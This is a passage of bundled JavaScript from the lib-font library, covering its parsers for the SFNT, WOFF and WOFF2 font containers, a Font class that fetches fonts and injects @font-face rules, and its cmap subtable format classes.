17063 this.directory = [...new Array(this.numTables)].map(
17064 (_) => new TableRecord(p22)
17065 );
17066 this.tables = {};
17067 this.directory.forEach((entry) => {
17068 const getter = () => createTable2(
17069 this.tables,
17070 {
17071 tag: entry.tag,
17072 offset: entry.offset,
17073 length: entry.length
17074 },
17075 dataview
17076 );
17077 lazy$1(this.tables, entry.tag.trim(), getter);
17078 });
17079 }
17080 };
17081 var TableRecord = class {
17082 constructor(p22) {
17083 this.tag = p22.tag;
17084 this.checksum = p22.uint32;
17085 this.offset = p22.uint32;
17086 this.length = p22.uint32;
17087 }
17088 };
17089 var gzipDecode = inflate_default.inflate || void 0;
17090 var nativeGzipDecode = void 0;
17091 var WOFF$1 = class extends SimpleTable {
17092 constructor(font2, dataview, createTable2) {
17093 const { p: p22 } = super({ offset: 0, length: 44 }, dataview, `woff`);
17094 this.signature = p22.tag;
17095 this.flavor = p22.uint32;
17096 this.length = p22.uint32;
17097 this.numTables = p22.uint16;
17098 p22.uint16;
17099 this.totalSfntSize = p22.uint32;
17100 this.majorVersion = p22.uint16;
17101 this.minorVersion = p22.uint16;
17102 this.metaOffset = p22.uint32;
17103 this.metaLength = p22.uint32;
17104 this.metaOrigLength = p22.uint32;
17105 this.privOffset = p22.uint32;
17106 this.privLength = p22.uint32;
17107 p22.verifyLength();
17108 this.directory = [...new Array(this.numTables)].map(
17109 (_) => new WoffTableDirectoryEntry(p22)
17110 );
17111 buildWoffLazyLookups(this, dataview, createTable2);
17112 }
17113 };
17114 var WoffTableDirectoryEntry = class {
17115 constructor(p22) {
17116 this.tag = p22.tag;
17117 this.offset = p22.uint32;
17118 this.compLength = p22.uint32;
17119 this.origLength = p22.uint32;
17120 this.origChecksum = p22.uint32;
17121 }
17122 };
17123 function buildWoffLazyLookups(woff, dataview, createTable2) {
17124 woff.tables = {};
17125 woff.directory.forEach((entry) => {
17126 lazy$1(woff.tables, entry.tag.trim(), () => {
17127 let offset = 0;
17128 let view = dataview;
17129 if (entry.compLength !== entry.origLength) {
17130 const data = dataview.buffer.slice(
17131 entry.offset,
17132 entry.offset + entry.compLength
17133 );
17134 let unpacked;
17135 if (gzipDecode) {
17136 unpacked = gzipDecode(new Uint8Array(data));
17137 } else if (nativeGzipDecode) {
17138 unpacked = nativeGzipDecode(new Uint8Array(data));
17139 } else {
17140 const msg = `no brotli decoder available to decode WOFF2 font`;
17141 if (font.onerror) font.onerror(msg);
17142 throw new Error(msg);
17143 }
17144 view = new DataView(unpacked.buffer);
17145 } else {
17146 offset = entry.offset;
17147 }
17148 return createTable2(
17149 woff.tables,
17150 { tag: entry.tag, offset, length: entry.origLength },
17151 view
17152 );
17153 });
17154 });
17155 }
17156 var brotliDecode = unbrotli_default;
17157 var nativeBrotliDecode = void 0;
17158 var WOFF2$1 = class extends SimpleTable {
17159 constructor(font2, dataview, createTable2) {
17160 const { p: p22 } = super({ offset: 0, length: 48 }, dataview, `woff2`);
17161 this.signature = p22.tag;
17162 this.flavor = p22.uint32;
17163 this.length = p22.uint32;
17164 this.numTables = p22.uint16;
17165 p22.uint16;
17166 this.totalSfntSize = p22.uint32;
17167 this.totalCompressedSize = p22.uint32;
17168 this.majorVersion = p22.uint16;
17169 this.minorVersion = p22.uint16;
17170 this.metaOffset = p22.uint32;
17171 this.metaLength = p22.uint32;
17172 this.metaOrigLength = p22.uint32;
17173 this.privOffset = p22.uint32;
17174 this.privLength = p22.uint32;
17175 p22.verifyLength();
17176 this.directory = [...new Array(this.numTables)].map(
17177 (_) => new Woff2TableDirectoryEntry(p22)
17178 );
17179 let dictOffset = p22.currentPosition;
17180 this.directory[0].offset = 0;
17181 this.directory.forEach((e2, i2) => {
17182 let next = this.directory[i2 + 1];
17183 if (next) {
17184 next.offset = e2.offset + (e2.transformLength !== void 0 ? e2.transformLength : e2.origLength);
17185 }
17186 });
17187 let decoded;
17188 let buffer = dataview.buffer.slice(dictOffset);
17189 if (brotliDecode) {
17190 decoded = brotliDecode(new Uint8Array(buffer));
17191 } else if (nativeBrotliDecode) {
17192 decoded = new Uint8Array(nativeBrotliDecode(buffer));
17193 } else {
17194 const msg = `no brotli decoder available to decode WOFF2 font`;
17195 if (font2.onerror) font2.onerror(msg);
17196 throw new Error(msg);
17197 }
17198 buildWoff2LazyLookups(this, decoded, createTable2);
17199 }
17200 };
17201 var Woff2TableDirectoryEntry = class {
17202 constructor(p22) {
17203 this.flags = p22.uint8;
17204 const tagNumber = this.tagNumber = this.flags & 63;
17205 if (tagNumber === 63) {
17206 this.tag = p22.tag;
17207 } else {
17208 this.tag = getWOFF2Tag(tagNumber);
17209 }
17210 const transformVersion = this.transformVersion = (this.flags & 192) >> 6;
17211 let hasTransforms = transformVersion !== 0;
17212 if (this.tag === `glyf` || this.tag === `loca`) {
17213 hasTransforms = this.transformVersion !== 3;
17214 }
17215 this.origLength = p22.uint128;
17216 if (hasTransforms) {
17217 this.transformLength = p22.uint128;
17218 }
17219 }
17220 };
17221 function buildWoff2LazyLookups(woff2, decoded, createTable2) {
17222 woff2.tables = {};
17223 woff2.directory.forEach((entry) => {
17224 lazy$1(woff2.tables, entry.tag.trim(), () => {
17225 const start2 = entry.offset;
17226 const end = start2 + (entry.transformLength ? entry.transformLength : entry.origLength);
17227 const data = new DataView(decoded.slice(start2, end).buffer);
17228 try {
17229 return createTable2(
17230 woff2.tables,
17231 { tag: entry.tag, offset: 0, length: entry.origLength },
17232 data
17233 );
17234 } catch (e2) {
17235 console.error(e2);
17236 }
17237 });
17238 });
17239 }
17240 function getWOFF2Tag(flag) {
17241 return [
17242 `cmap`,
17243 `head`,
17244 `hhea`,
17245 `hmtx`,
17246 `maxp`,
17247 `name`,
17248 `OS/2`,
17249 `post`,
17250 `cvt `,
17251 `fpgm`,
17252 `glyf`,
17253 `loca`,
17254 `prep`,
17255 `CFF `,
17256 `VORG`,
17257 `EBDT`,
17258 `EBLC`,
17259 `gasp`,
17260 `hdmx`,
17261 `kern`,
17262 `LTSH`,
17263 `PCLT`,
17264 `VDMX`,
17265 `vhea`,
17266 `vmtx`,
17267 `BASE`,
17268 `GDEF`,
17269 `GPOS`,
17270 `GSUB`,
17271 `EBSC`,
17272 `JSTF`,
17273 `MATH`,
17274 `CBDT`,
17275 `CBLC`,
17276 `COLR`,
17277 `CPAL`,
17278 `SVG `,
17279 `sbix`,
17280 `acnt`,
17281 `avar`,
17282 `bdat`,
17283 `bloc`,
17284 `bsln`,
17285 `cvar`,
17286 `fdsc`,
17287 `feat`,
17288 `fmtx`,
17289 `fvar`,
17290 `gvar`,
17291 `hsty`,
17292 `just`,
17293 `lcar`,
17294 `mort`,
17295 `morx`,
17296 `opbd`,
17297 `prop`,
17298 `trak`,
17299 `Zapf`,
17300 `Silf`,
17301 `Glat`,
17302 `Gloc`,
17303 `Feat`,
17304 `Sill`
17305 ][flag & 63];
17306 }
17307 var tableClasses = {};
17308 var tableClassesLoaded = false;
17309 Promise.all([
17310 Promise.resolve().then(function() {
17311 return cmap$1;
17312 }),
17313 Promise.resolve().then(function() {
17314 return head$1;
17315 }),
17316 Promise.resolve().then(function() {
17317 return hhea$1;
17318 }),
17319 Promise.resolve().then(function() {
17320 return hmtx$1;
17321 }),
17322 Promise.resolve().then(function() {
17323 return maxp$1;
17324 }),
17325 Promise.resolve().then(function() {
17326 return name$1;
17327 }),
17328 Promise.resolve().then(function() {
17329 return OS2$1;
17330 }),
17331 Promise.resolve().then(function() {
17332 return post$1;
17333 }),
17334 Promise.resolve().then(function() {
17335 return BASE$1;
17336 }),
17337 Promise.resolve().then(function() {
17338 return GDEF$1;
17339 }),
17340 Promise.resolve().then(function() {
17341 return GSUB$1;
17342 }),
17343 Promise.resolve().then(function() {
17344 return GPOS$1;
17345 }),
17346 Promise.resolve().then(function() {
17347 return SVG$1;
17348 }),
17349 Promise.resolve().then(function() {
17350 return fvar$1;
17351 }),
17352 Promise.resolve().then(function() {
17353 return cvt$1;
17354 }),
17355 Promise.resolve().then(function() {
17356 return fpgm$1;
17357 }),
17358 Promise.resolve().then(function() {
17359 return gasp$1;
17360 }),
17361 Promise.resolve().then(function() {
17362 return glyf$1;
17363 }),
17364 Promise.resolve().then(function() {
17365 return loca$1;
17366 }),
17367 Promise.resolve().then(function() {
17368 return prep$1;
17369 }),
17370 Promise.resolve().then(function() {
17371 return CFF$1;
17372 }),
17373 Promise.resolve().then(function() {
17374 return CFF2$1;
17375 }),
17376 Promise.resolve().then(function() {
17377 return VORG$1;
17378 }),
17379 Promise.resolve().then(function() {
17380 return EBLC$1;
17381 }),
17382 Promise.resolve().then(function() {
17383 return EBDT$1;
17384 }),
17385 Promise.resolve().then(function() {
17386 return EBSC$1;
17387 }),
17388 Promise.resolve().then(function() {
17389 return CBLC$1;
17390 }),
17391 Promise.resolve().then(function() {
17392 return CBDT$1;
17393 }),
17394 Promise.resolve().then(function() {
17395 return sbix$1;
17396 }),
17397 Promise.resolve().then(function() {
17398 return COLR$1;
17399 }),
17400 Promise.resolve().then(function() {
17401 return CPAL$1;
17402 }),
17403 Promise.resolve().then(function() {
17404 return DSIG$1;
17405 }),
17406 Promise.resolve().then(function() {
17407 return hdmx$1;
17408 }),
17409 Promise.resolve().then(function() {
17410 return kern$1;
17411 }),
17412 Promise.resolve().then(function() {
17413 return LTSH$1;
17414 }),
17415 Promise.resolve().then(function() {
17416 return MERG$1;
17417 }),
17418 Promise.resolve().then(function() {
17419 return meta$1;
17420 }),
17421 Promise.resolve().then(function() {
17422 return PCLT$1;
17423 }),
17424 Promise.resolve().then(function() {
17425 return VDMX$1;
17426 }),
17427 Promise.resolve().then(function() {
17428 return vhea$1;
17429 }),
17430 Promise.resolve().then(function() {
17431 return vmtx$1;
17432 })
17433 ]).then((data) => {
17434 data.forEach((e2) => {
17435 let name2 = Object.keys(e2)[0];
17436 tableClasses[name2] = e2[name2];
17437 });
17438 tableClassesLoaded = true;
17439 });
17440 function createTable(tables, dict, dataview) {
17441 let name2 = dict.tag.replace(/[^\w\d]/g, ``);
17442 let Type = tableClasses[name2];
17443 if (Type) return new Type(dict, dataview, tables);
17444 console.warn(
17445 `lib-font has no definition for ${name2}. The table was skipped.`
17446 );
17447 return {};
17448 }
17449 function loadTableClasses() {
17450 let count = 0;
17451 function checkLoaded(resolve, reject) {
17452 if (!tableClassesLoaded) {
17453 if (count > 10) {
17454 return reject(new Error(`loading took too long`));
17455 }
17456 count++;
17457 return setTimeout(() => checkLoaded(resolve), 250);
17458 }
17459 resolve(createTable);
17460 }
17461 return new Promise((resolve, reject) => checkLoaded(resolve));
17462 }
17463 function getFontCSSFormat(path, errorOnStyle) {
17464 let pos = path.lastIndexOf(`.`);
17465 let ext = (path.substring(pos + 1) || ``).toLowerCase();
17466 let format6 = {
17467 ttf: `truetype`,
17468 otf: `opentype`,
17469 woff: `woff`,
17470 woff2: `woff2`
17471 }[ext];
17472 if (format6) return format6;
17473 let msg = {
17474 eot: `The .eot format is not supported: it died in January 12, 2016, when Microsoft retired all versions of IE that didn't already support WOFF.`,
17475 svg: `The .svg format is not supported: SVG fonts (not to be confused with OpenType with embedded SVG) were so bad we took the entire fonts chapter out of the SVG specification again.`,
17476 fon: `The .fon format is not supported: this is an ancient Windows bitmap font format.`,
17477 ttc: `Based on the current CSS specification, font collections are not (yet?) supported.`
17478 }[ext];
17479 if (!msg) msg = `${path} is not a known webfont format.`;
17480 if (errorOnStyle) {
17481 throw new Error(msg);
17482 } else {
17483 console.warn(`Could not load font: ${msg}`);
17484 }
17485 }
17486 async function setupFontFace(name2, url, options = {}) {
17487 if (!globalThis.document) return;
17488 let format6 = getFontCSSFormat(url, options.errorOnStyle);
17489 if (!format6) return;
17490 let style = document.createElement(`style`);
17491 style.className = `injected-by-Font-js`;
17492 let rules = [];
17493 if (options.styleRules) {
17494 rules = Object.entries(options.styleRules).map(
17495 ([key, value]) => `${key}: ${value};`
17496 );
17497 }
17498 style.textContent = `
17499@font-face {
17500 font-family: "${name2}";
17501 ${rules.join(
17502 `
17503 `
17504 )}
17505 src: url("${url}") format("${format6}");
17506}`;
17507 globalThis.document.head.appendChild(style);
17508 return style;
17509 }
17510 var TTF = [0, 1, 0, 0];
17511 var OTF = [79, 84, 84, 79];
17512 var WOFF = [119, 79, 70, 70];
17513 var WOFF2 = [119, 79, 70, 50];
17514 function match(ar1, ar2) {
17515 if (ar1.length !== ar2.length) return;
17516 for (let i2 = 0; i2 < ar1.length; i2++) {
17517 if (ar1[i2] !== ar2[i2]) return;
17518 }
17519 return true;
17520 }
17521 function validFontFormat(dataview) {
17522 const LEAD_BYTES = [
17523 dataview.getUint8(0),
17524 dataview.getUint8(1),
17525 dataview.getUint8(2),
17526 dataview.getUint8(3)
17527 ];
17528 if (match(LEAD_BYTES, TTF) || match(LEAD_BYTES, OTF)) return `SFNT`;
17529 if (match(LEAD_BYTES, WOFF)) return `WOFF`;
17530 if (match(LEAD_BYTES, WOFF2)) return `WOFF2`;
17531 }
17532 function checkFetchResponseStatus(response) {
17533 if (!response.ok) {
17534 throw new Error(
17535 `HTTP ${response.status} - ${response.statusText}`
17536 );
17537 }
17538 return response;
17539 }
17540 var Font = class extends EventManager {
17541 constructor(name2, options = {}) {
17542 super();
17543 this.name = name2;
17544 this.options = options;
17545 this.metrics = false;
17546 }
17547 get src() {
17548 return this.__src;
17549 }
17550 set src(src) {
17551 this.__src = src;
17552 (async () => {
17553 if (globalThis.document && !this.options.skipStyleSheet) {
17554 await setupFontFace(this.name, src, this.options);
17555 }
17556 this.loadFont(src);
17557 })();
17558 }
17559 async loadFont(url, filename) {
17560 fetch(url).then(
17561 (response) => checkFetchResponseStatus(response) && response.arrayBuffer()
17562 ).then(
17563 (buffer) => this.fromDataBuffer(buffer, filename || url)
17564 ).catch((err) => {
17565 const evt = new Event2(
17566 `error`,
17567 err,
17568 `Failed to load font at ${filename || url}`
17569 );
17570 this.dispatch(evt);
17571 if (this.onerror) this.onerror(evt);
17572 });
17573 }
17574 async fromDataBuffer(buffer, filenameOrUrL) {
17575 this.fontData = new DataView(buffer);
17576 let type = validFontFormat(this.fontData);
17577 if (!type) {
17578 throw new Error(
17579 `${filenameOrUrL} is either an unsupported font format, or not a font at all.`
17580 );
17581 }
17582 await this.parseBasicData(type);
17583 const evt = new Event2("load", { font: this });
17584 this.dispatch(evt);
17585 if (this.onload) this.onload(evt);
17586 }
17587 async parseBasicData(type) {
17588 return loadTableClasses().then((createTable2) => {
17589 if (type === `SFNT`) {
17590 this.opentype = new SFNT(this, this.fontData, createTable2);
17591 }
17592 if (type === `WOFF`) {
17593 this.opentype = new WOFF$1(this, this.fontData, createTable2);
17594 }
17595 if (type === `WOFF2`) {
17596 this.opentype = new WOFF2$1(this, this.fontData, createTable2);
17597 }
17598 return this.opentype;
17599 });
17600 }
17601 getGlyphId(char) {
17602 return this.opentype.tables.cmap.getGlyphId(char);
17603 }
17604 reverse(glyphid) {
17605 return this.opentype.tables.cmap.reverse(glyphid);
17606 }
17607 supports(char) {
17608 return this.getGlyphId(char) !== 0;
17609 }
17610 supportsVariation(variation) {
17611 return this.opentype.tables.cmap.supportsVariation(variation) !== false;
17612 }
17613 measureText(text, size = 16) {
17614 if (this.__unloaded)
17615 throw new Error(
17616 "Cannot measure text: font was unloaded. Please reload before calling measureText()"
17617 );
17618 let d2 = document.createElement("div");
17619 d2.textContent = text;
17620 d2.style.fontFamily = this.name;
17621 d2.style.fontSize = `${size}px`;
17622 d2.style.color = `transparent`;
17623 d2.style.background = `transparent`;
17624 d2.style.top = `0`;
17625 d2.style.left = `0`;
17626 d2.style.position = `absolute`;
17627 document.body.appendChild(d2);
17628 let bbox = d2.getBoundingClientRect();
17629 document.body.removeChild(d2);
17630 const OS22 = this.opentype.tables["OS/2"];
17631 bbox.fontSize = size;
17632 bbox.ascender = OS22.sTypoAscender;
17633 bbox.descender = OS22.sTypoDescender;
17634 return bbox;
17635 }
17636 unload() {
17637 if (this.styleElement.parentNode) {
17638 this.styleElement.parentNode.removeElement(this.styleElement);
17639 const evt = new Event2("unload", { font: this });
17640 this.dispatch(evt);
17641 if (this.onunload) this.onunload(evt);
17642 }
17643 this._unloaded = true;
17644 }
17645 load() {
17646 if (this.__unloaded) {
17647 delete this.__unloaded;
17648 document.head.appendChild(this.styleElement);
17649 const evt = new Event2("load", { font: this });
17650 this.dispatch(evt);
17651 if (this.onload) this.onload(evt);
17652 }
17653 }
17654 };
17655 globalThis.Font = Font;
17656 var Subtable = class extends ParsedData {
17657 constructor(p22, plaformID, encodingID) {
17658 super(p22);
17659 this.plaformID = plaformID;
17660 this.encodingID = encodingID;
17661 }
17662 };
17663 var Format0 = class extends Subtable {
17664 constructor(p22, platformID, encodingID) {
17665 super(p22, platformID, encodingID);
17666 this.format = 0;
17667 this.length = p22.uint16;
17668 this.language = p22.uint16;
17669 this.glyphIdArray = [...new Array(256)].map((_) => p22.uint8);
17670 }
17671 supports(charCode) {
17672 if (charCode.charCodeAt) {
17673 charCode = -1;
17674 console.warn(
17675 `supports(character) not implemented for cmap subtable format 0. only supports(id) is implemented.`
17676 );
17677 }
17678 return 0 <= charCode && charCode <= 255;
17679 }
17680 reverse(glyphID) {
17681 console.warn(`reverse not implemented for cmap subtable format 0`);
17682 return {};
17683 }
17684 getSupportedCharCodes() {
17685 return [{ start: 1, end: 256 }];
17686 }
17687 };
17688 var Format2 = class extends Subtable {
17689 constructor(p22, platformID, encodingID) {
17690 super(p22, platformID, encodingID);
17691 this.format = 2;
17692 this.length = p22.uint16;
17693 this.language = p22.uint16;
17694 this.subHeaderKeys = [...new Array(256)].map((_) => p22.uint16);
17695 const subHeaderCount = Math.max(...this.subHeaderKeys);
17696 const subHeaderOffset = p22.currentPosition;
17697 lazy$1(this, `subHeaders`, () => {
17698 p22.currentPosition = subHeaderOffset;
17699 return [...new Array(subHeaderCount)].map(
17700 (_) => new SubHeader(p22)
17701 );
17702 });
17703 const glyphIndexOffset = subHeaderOffset + subHeaderCount * 8;
17704 lazy$1(this, `glyphIndexArray`, () => {
17705 p22.currentPosition = glyphIndexOffset;
17706 return [...new Array(subHeaderCount)].map((_) => p22.uint16);
17707 });
17708 }
17709 supports(charCode) {
17710 if (charCode.charCodeAt) {
17711 charCode = -1;
17712 console.warn(
17713 `supports(character) not implemented for cmap subtable format 2. only supports(id) is implemented.`
17714 );
17715 }
17716 const low = charCode && 255;
17717 const high = charCode && 65280;
17718 const subHeaderKey = this.subHeaders[high];
17719 const subheader = this.subHeaders[subHeaderKey];
17720 const first = subheader.firstCode;
17721 const last = first + subheader.entryCount;
17722 return first <= low && low <= last;
17723 }
17724 reverse(glyphID) {
17725 console.warn(`reverse not implemented for cmap subtable format 2`);
17726 return {};
17727 }
17728 getSupportedCharCodes(preservePropNames = false) {
17729 if (preservePropNames) {
17730 return this.subHeaders.map((h2) => ({
17731 firstCode: h2.firstCode,
17732 lastCode: h2.lastCode
17733 }));
17734 }
17735 return this.subHeaders.map((h2) => ({
17736 start: h2.firstCode,
17737 end: h2.lastCode
17738 }));
17739 }
17740 };
17741 var SubHeader = class {
17742 constructor(p22) {
17743 this.firstCode = p22.uint16;
17744 this.entryCount = p22.uint16;
17745 this.lastCode = this.first + this.entryCount;
17746 this.idDelta = p22.int16;
17747 this.idRangeOffset = p22.uint16;
17748 }
17749 };
17750 var Format4 = class extends Subtable {
17751 constructor(p22, platformID, encodingID) {
17752 super(p22, platformID, encodingID);
17753 this.format = 4;
17754 this.length = p22.uint16;
17755 this.language = p22.uint16;
17756 this.segCountX2 = p22.uint16;
17757 this.segCount = this.segCountX2 / 2;
17758 this.searchRange = p22.uint16;
17759 this.entrySelector = p22.uint16;
17760 this.rangeShift = p22.uint16;
17761 const endCodePosition = p22.currentPosition;
17762 lazy$1(
17763 this,
17764 `endCode`,
17765 () => p22.readBytes(this.segCount, endCodePosition, 16)
17766 );
17767 const startCodePosition = endCodePosition + 2 + this.segCountX2;
17768 lazy$1(
17769 this,
17770 `startCode`,
17771 () => p22.readBytes(this.segCount, startCodePosition, 16)
17772 );
17773 const idDeltaPosition = startCodePosition + this.segCountX2;
17774 lazy$1(
17775 this,
17776 `idDelta`,
17777 () => p22.readBytes(this.segCount, idDeltaPosition, 16, true)
17778 );
17779 const idRangePosition = idDeltaPosition + this.segCountX2;
17780 lazy$1(
17781 this,
17782 `idRangeOffset`,
17783 () => p22.readBytes(this.segCount, idRangePosition, 16)
17784 );
17785 const glyphIdArrayPosition = idRangePosition + this.segCountX2;
17786 const glyphIdArrayLength = this.length - (glyphIdArrayPosition - this.tableStart);
17787 lazy$1(
17788 this,
17789 `glyphIdArray`,
17790 () => p22.readBytes(glyphIdArrayLength, glyphIdArrayPosition, 16)
17791 );
17792 lazy$1(
17793 this,
17794 `segments`,
17795 () => this.buildSegments(idRangePosition, glyphIdArrayPosition, p22)
17796 );
17797 }
17798 buildSegments(idRangePosition, glyphIdArrayPosition, p22) {
17799 const build = (_, i2) => {
17800 let startCode = this.startCode[i2], endCode = this.endCode[i2], idDelta = this.idDelta[i2], idRangeOffset = this.idRangeOffset[i2], idRangeOffsetPointer = idRangePosition + 2 * i2, glyphIDs = [];
17801 if (idRangeOffset === 0) {
17802 for (let i22 = startCode + idDelta, e2 = endCode + idDelta; i22 <= e2; i22++) {
17803 glyphIDs.push(i22);
17804 }
17805 } else {
17806 for (let i22 = 0, e2 = endCode - startCode; i22 <= e2; i22++) {
17807 p22.currentPosition = idRangeOffsetPointer + idRangeOffset + i22 * 2;
17808 glyphIDs.push(p22.uint16);
17809 }
17810 }
17811 return {
17812 startCode,
17813 endCode,
17814 idDelta,
17815 idRangeOffset,
17816 glyphIDs
17817 };
17818 };
17819 return [...new Array(this.segCount)].map(build);
17820 }
17821 reverse(glyphID) {
17822 let s2 = this.segments.find((v2) => v2.glyphIDs.includes(glyphID));
17823 if (!s2) return {};
17824 const code = s2.startCode + s2.glyphIDs.indexOf(glyphID);
17825 return { code, unicode: String.fromCodePoint(code) };
17826 }
17827 getGlyphId(charCode) {
17828 if (charCode.charCodeAt) charCode = charCode.charCodeAt(0);
17829 if (55296 <= charCode && charCode <= 57343) return 0;
17830 if ((charCode & 65534) === 65534 || (charCode & 65535) === 65535)
17831 return 0;
17832 let segment = this.segments.find(
17833 (s2) => s2.startCode <= charCode && charCode <= s2.endCode
17834 );
17835 if (!segment) return 0;
17836 return segment.glyphIDs[charCode - segment.startCode];
17837 }
17838 supports(charCode) {
17839 return this.getGlyphId(charCode) !== 0;
17840 }
17841 getSupportedCharCodes(preservePropNames = false) {
17842 if (preservePropNames) return this.segments;
17843 return this.segments.map((v2) => ({
17844 start: v2.startCode,
17845 end: v2.endCode
17846 }));
17847 }
17848 };
17849 var Format6 = class extends Subtable {
17850 constructor(p22, platformID, encodingID) {
17851 super(p22, platformID, encodingID);
17852 this.format = 6;
17853 this.length = p22.uint16;
17854 this.language = p22.uint16;
17855 this.firstCode = p22.uint16;
17856 this.entryCount = p22.uint16;
17857 this.lastCode = this.firstCode + this.entryCount - 1;
17858 const getter = () => [...new Array(this.entryCount)].map((_) => p22.uint16);
17859 lazy$1(this, `glyphIdArray`, getter);
17860 }
17861 supports(charCode) {
17862 if (charCode.charCodeAt) {
17863 charCode = -1;
17864 console.warn(
17865 `supports(character) not implemented for cmap subtable format 6. only supports(id) is implemented.`
17866 );
17867 }
17868 if (charCode < this.firstCode) return {};
17869 if (charCode > this.firstCode + this.entryCount) return {};
17870 const code = charCode - this.firstCode;
17871 return { code, unicode: String.fromCodePoint(code) };
17872 }
17873 reverse(glyphID) {
17874 let pos = this.glyphIdArray.indexOf(glyphID);
17875 if (pos > -1) return this.firstCode + pos;
17876 }
17877 getSupportedCharCodes(preservePropNames = false) {
17878 if (preservePropNames) {
17879 return [{ firstCode: this.firstCode, lastCode: this.lastCode }];
17880 }
17881 return [{ start: this.firstCode, end: this.lastCode }];
17882 }
17883 };
17884 var Format8 = class extends Subtable {
17885 constructor(p22, platformID, encodingID) {
17886 super(p22, platformID, encodingID);
17887 this.format = 8;
17888 p22.uint16;
17889 this.length = p22.uint32;
17890 this.language = p22.uint32;
17891 this.is32 = [...new Array(8192)].map((_) => p22.uint8);
17892 this.numGroups = p22.uint32;
17893 const getter = () => [...new Array(this.numGroups)].map(
17894 (_) => new SequentialMapGroup$1(p22)
17895 );
17896 lazy$1(this, `groups`, getter);
17897 }
17898 supports(charCode) {
17899 if (charCode.charCodeAt) {
17900 charCode = -1;
17901 console.warn(
17902 `supports(character) not implemented for cmap subtable format 8. only supports(id) is implemented.`
17903 );
17904 }
17905 return this.groups.findIndex(
17906 (s2) => s2.startcharCode <= charCode && charCode <= s2.endcharCode
17907 ) !== -1;
17908 }
17909 reverse(glyphID) {
17910 console.warn(`reverse not implemented for cmap subtable format 8`);
17911 return {};
17912 }
17913 getSupportedCharCodes(preservePropNames = false) {
17914 if (preservePropNames) return this.groups;
17915 return this.groups.map((v2) => ({
17916 start: v2.startcharCode,
17917 end: v2.endcharCode
17918 }));
17919 }
17920 };
17921 var SequentialMapGroup$1 = class {
17922 constructor(p22) {
17923 this.startcharCode = p22.uint32;
17924 this.endcharCode = p22.uint32;
17925 this.startGlyphID = p22.uint32;
17926 }
17927 };
17928 var Format10 = class extends Subtable {
17929 constructor(p22, platformID, encodingID) {
17930 super(p22, platformID, encodingID);
17931 this.format = 10;
17932 p22.uint16;
17933 this.length = p22.uint32;
17934 this.language = p22.uint32;
17935 this.startCharCode = p22.uint32;
17936 this.numChars = p22.uint32;
17937 this.endCharCode = this.startCharCode + this.numChars;
17938 const getter = () => [...new Array(this.numChars)].map((_) => p22.uint16);
17939 lazy$1(this, `glyphs`, getter);
17940 }
17941 supports(charCode) {
17942 if (charCode.charCodeAt) {
17943 charCode = -1;
17944 console.warn(
17945 `supports(character) not implemented for cmap subtable format 10. only supports(id) is implemented.`
17946 );
17947 }
17948 if (charCode < this.startCharCode) return false;
17949 if (charCode > this.startCharCode + this.numChars) return false;
17950 return charCode - this.startCharCode;
17951 }
17952 reverse(glyphID) {
17953 console.warn(`reverse not implemented for cmap subtable format 10`);
17954 return {};
17955 }
17956 getSupportedCharCodes(preservePropNames = false) {
17957 if (preservePropNames) {
17958 return [
17959 {
17960 startCharCode: this.startCharCode,
17961 endCharCode: this.endCharCode
17962 }
17963 ];
17964 }
17965 return [{ start: this.startCharCode, end: this.endCharCode }];
17966 }
17967 };
17968 var Format12 = class extends Subtable {
17969 constructor(p22, platformID, encodingID) {
17970 super(p22, platformID, encodingID);
17971 this.format = 12;
17972 p22.uint16;
17973 this.length = p22.uint32;
17974 this.language = p22.uint32;
17975 this.numGroups = p22.uint32;
17976 const getter = () => [...new Array(this.numGroups)].map(
17977 (_) => new SequentialMapGroup(p22)
17978 );
17979 lazy$1(this, `groups`, getter);
17980 }
17981 supports(charCode) {
17982 if (charCode.charCodeAt) charCode = charCode.charCodeAt(0);
17983 if (55296 <= charCode && charCode <= 57343) return 0;
17984 if ((charCode & 65534) === 65534 || (charCode & 65535) === 65535)
17985 return 0;
17986 return this.groups.findIndex(
17987 (s2) => s2.startCharCode <= charCode && charCode <= s2.endCharCode
17988 ) !== -1;
17989 }
17990 reverse(glyphID) {
17991 for (let group of this.groups) {
17992 let start2 = group.startGlyphID;
17993 if (start2 > glyphID) continue;
17994 if (start2 === glyphID) return group.startCharCode;
17995 let end = start2 + (group.endCharCode - group.startCharCode);
17996 if (end < glyphID) continue;
17997 const code = group.startCharCode + (glyphID - start2);
17998 return { code, unicode: String.fromCodePoint(code) };
17999 }
18000 return {};
18001 }
18002 getSupportedCharCodes(preservePropNames = false) {
18003 if (preservePropNames) return this.groups;
18004 return this.groups.map((v2) => ({
18005 start: v2.startCharCode,
18006 end: v2.endCharCode
18007 }));
18008 }
18009 };
18010 var SequentialMapGroup = class {
18011 constructor(p22) {
18012 this.startCharCode = p22.uint32;
18013 this.endCharCode = p22.uint32;
18014 this.startGlyphID = p22.uint32;
18015 }
18016 };
18017 var Format13 = class extends Subtable {
18018 constructor(p22, platformID, encodingID) {
18019 super(p22, platformID, encodingID);
18020 this.format = 13;
18021 p22.uint16;
18022 this.length = p22.uint32;
18023 this.language = p22.uint32;
18024 this.numGroups = p22.uint32;
18025 const getter = [...new Array(this.numGroups)].map(
18026 (_) => new ConstantMapGroup(p22)
18027 );
18028 lazy$1(this, `groups`, getter);
18029 }
18030 supports(charCode) {
18031 if (charCode.charCodeAt) charCode = charCode.charCodeAt(0);
18032 return this.groups.findIndex(
18033 (s2) => s2.startCharCode <= charCode && charCode <= s2.endCharCode
18034 ) !== -1;
18035 }
18036 reverse(glyphID) {
18037 console.warn(`reverse not implemented for cmap subtable format 13`);
18038 return {};
18039 }
18040 getSupportedCharCodes(preservePropNames = false) {
18041 if (preservePropNames) return this.groups;
18042 return this.groups.map((v2) => ({
18043 start: v2.startCharCode,
18044 end: v2.endCharCode
18045 }));
18046 }
18047 };
18048 var ConstantMapGroup = class {
18049 constructor(p22) {
18050 this.startCharCode = p22.uint32;
18051 this.endCharCode = p22.uint32;
18052 this.glyphID = p22.uint32;
18053 }
18054 };
18055 var Format14 = class extends Subtable {
18056 constructor(p22, platformID, encodingID) {
18057 super(p22, platformID, encodingID);
18058 this.subTableStart = p22.currentPosition;
18059 this.format = 14;
18060 this.length = p22.uint32;
18061 this.numVarSelectorRecords = p22.uint32;
18062 lazy$1(
18063 this,
18064 `varSelectors`,
18065 () => [...new Array(this.numVarSelectorRecords)].map(
18066 (_) => new VariationSelector(p22)
18067 )
18068 );
18069 }
18070 supports() {
18071 console.warn(`supports not implemented for cmap subtable format 14`);
18072 return 0;
18073 }
18074 getSupportedCharCodes() {
18075 console.warn(
